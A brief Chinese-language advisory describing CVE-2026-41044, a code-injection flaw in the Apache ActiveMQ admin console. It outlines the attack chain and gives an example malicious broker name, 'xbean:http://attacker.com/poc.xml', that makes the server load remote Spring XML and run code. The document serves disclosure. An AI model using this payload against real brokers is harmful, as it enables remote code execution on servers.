CVE-2026-41044Apache ActiveMQ存在代码注入漏洞。攻击者可利用admin web console绕过名称验证构造恶意broker名称,通过DestinationView mbean触发VM transport加载远程Spring XML文件,导致在服务器端JVM执行任意代码。
该漏洞源于Apache ActiveMQ在处理broker名称时存在输入验证缺陷。攻击者首先需要拥有低权限账户并访问admin web console。利用时,攻击者构造一个包含xbean绑定的恶意broker名称(如xbean:http://attacker.com/poc.xml),该名称能绕过验证。随后,攻击者利用DestinationView mbean发送消息,触发引用该恶意名称的VM transport创建。由于Spring的ResourceXmlApplicationContext会在BrokerService验证配置前实例化单例bean,恶意XML中的Runtime.exec()等代码将被执行,从而实现远程代码控制。